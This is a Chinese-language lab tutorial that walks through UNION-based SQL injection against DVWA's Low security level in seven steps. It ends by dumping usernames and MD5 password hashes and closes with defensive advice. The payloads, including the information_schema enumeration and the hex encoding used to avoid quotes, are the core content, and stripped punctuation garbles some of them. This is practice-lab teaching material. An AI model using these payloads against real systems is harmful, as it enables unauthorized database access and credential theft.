DVWA 1.10 SQL注入实战:从字符型判断到用户密码获取的7步完整流程

发布时间:2026/7/8 3:57:38
DVWA 1.10 SQL注入实战:从字符型判断到用户密码获取的7步完整流程 DVWA 1.10 SQL注入实战从字符型判断到用户密码获取的7步完整流程1. 环境准备与基础概念在开始实战之前我们需要先搭建好DVWADamn Vulnerable Web Application环境。DVWA是一个专门用于安全测试的PHP/MySQL Web应用程序它包含了多种安全漏洞的模拟环境其中就包括SQL注入漏洞。SQL注入的基本原理当Web应用程序对用户输入数据的合法性没有进行充分判断或过滤时攻击者可以通过构造特殊的输入改变原有SQL查询语句的逻辑从而执行非授权的数据库操作。这种攻击方式被称为SQL注入SQL Injection。DVWA提供了四种安全级别Low完全无防护用于演示最基本的漏洞利用技术Medium添加了部分防护措施但存在明显缺陷High采用了更严格的防护但仍可能被绕过Impossible实现了完善的防护措施在本教程中我们将专注于Low安全级别的SQL注入实战。2. 判断注入类型首先我们需要确定目标是否存在SQL注入漏洞以及是哪种类型的注入。SQL注入主要分为两种类型数字型注入参数直接作为数字使用不需要引号包围字符型注入参数被单引号或双引号包围判断步骤访问DVWA的SQL Injection页面安全级别设置为Low在输入框中分别尝试以下输入1正常查询1如果报错可能是字符型注入1 and 11如果返回正常结果1 and 12如果返回空结果通过对比这些测试的返回结果我们可以确认这是一个字符型注入漏洞。这是因为输入1导致语法错误因为破坏了引号闭合1 and 11构造了一个永真条件返回了所有结果1 and 12构造了一个永假条件返回了空结果3. 猜解字段数量确定了注入类型后下一步是确定当前查询返回的字段数量。这可以通过ORDER BY子句来实现1 order by 1 # 1 order by 2 # 1 order by 3 ##是MySQL的注释符号用于注释掉查询语句后面的部分。通过逐步增加order by后面的数字当数字超过实际字段数时查询会报错。在本例中order by 1和order by 2都能正常返回order by 3报错这说明查询结果包含2个字段。为了验证这一点我们可以使用联合查询UNION SELECT1 union select 1,2 #如果这个查询成功返回结果并在页面上显示了数字1和2就确认了字段数量为2同时也知道了哪些字段会在页面上显示。4. 获取数据库信息知道了字段数量后我们可以利用MySQL的内置函数获取数据库的基本信息1 union select database(),user() #这条查询会返回database()当前数据库名称如dvwauser()当前数据库用户如rootlocalhost还可以获取更多系统信息1 union select version(),version_compile_os #这会返回version()MySQL版本号version_compile_os操作系统信息这些信息对于后续的攻击步骤非常重要因为不同版本的数据库可能有不同的特性和限制。5. 获取数据库表名MySQL的information_schema数据库包含了所有数据库的元数据信息。我们可以利用它来获取当前数据库中的所有表名1 union select table_name,table_schema from information_schema.tables where table_schemadvwa #如果遇到编码问题如Illegal mix of collations错误可以使用convert()函数1 union select convert(table_name using big5),convert(table_schema using big5) from information_schema.tables where table_schemadvwa #执行后通常会返回类似以下结果guestbookusers这表明dvwa数据库中有两个表其中users表很可能存储了用户凭证信息。6. 获取表字段名确定了目标表users后我们需要知道这个表包含哪些字段。同样使用information_schema1 union select column_name,2 from information_schema.columns where table_nameusers and table_schemadvwa #或者使用十六进制编码绕过引号限制1 union select column_name,2 from information_schema.columns where table_name0x7573657273 and table_schema0x64767761 #0x7573657273是users的十六进制0x64767761是dvwa的十六进制执行后通常会返回users表的所有字段名如user_idfirst_namelast_nameuserpasswordavatarlast_loginfailed_login其中user和password字段就是我们最感兴趣的目标。7. 提取用户凭证数据最后一步是从users表中提取用户名和密码1 union select user,password from users #如果遇到编码问题同样可以使用convert1 union select convert(user using big5),convert(password using big5) from users #执行后会返回所有用户的用户名和密码哈希值。DVWA默认使用MD5加密密码例如admin / 5f4dcc3b5aa765d61d8327deb882cf99可以使用在线MD5解密工具或彩虹表来破解这些哈希值。例如上面的哈希对应明文密码password。防御建议虽然本文重点在于演示攻击技术但了解防御措施同样重要。以下是一些基本的SQL注入防御方法使用参数化查询预编译语句$stmt $pdo-prepare(SELECT * FROM users WHERE id :id); $stmt-execute([id $id]);输入验证和过滤对用户输入进行严格的白名单验证使用专门的过滤函数如mysqli_real_escape_string最小权限原则数据库用户只应拥有必要的最小权限避免使用root或高权限账户连接数据库错误处理避免向用户显示详细的数据库错误信息使用自定义的错误页面Web应用防火墙(WAF)部署WAF可以拦截常见的SQL注入攻击模式